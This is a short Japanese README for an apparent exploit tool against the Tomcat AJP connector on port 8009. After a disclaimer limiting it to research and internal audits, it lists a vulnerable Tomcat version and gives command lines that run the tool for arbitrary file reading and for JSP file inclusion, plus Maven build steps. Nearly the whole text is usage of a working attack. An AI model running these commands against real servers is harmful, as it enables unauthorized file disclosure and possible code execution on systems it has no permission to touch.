このツールはセキュリティ研究および内部監査専用です。不正攻撃に使用することは禁止されており、その結果は利用者の責任となります。
apache-tomcat-8.5.32.zip テスト用tomcat
任意ファイル読み取り
java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 file /index.jsp
ファイルインクルード
java -jar 1.jar com.threedr3am.bug.tomcat.ajp.FileRead 127.0.0.1 8009 jsp /index.jsp
パッケージ方法： ディレクトリ tomcat/ajp-bug で 実行 mvn clean compile assembly:assembly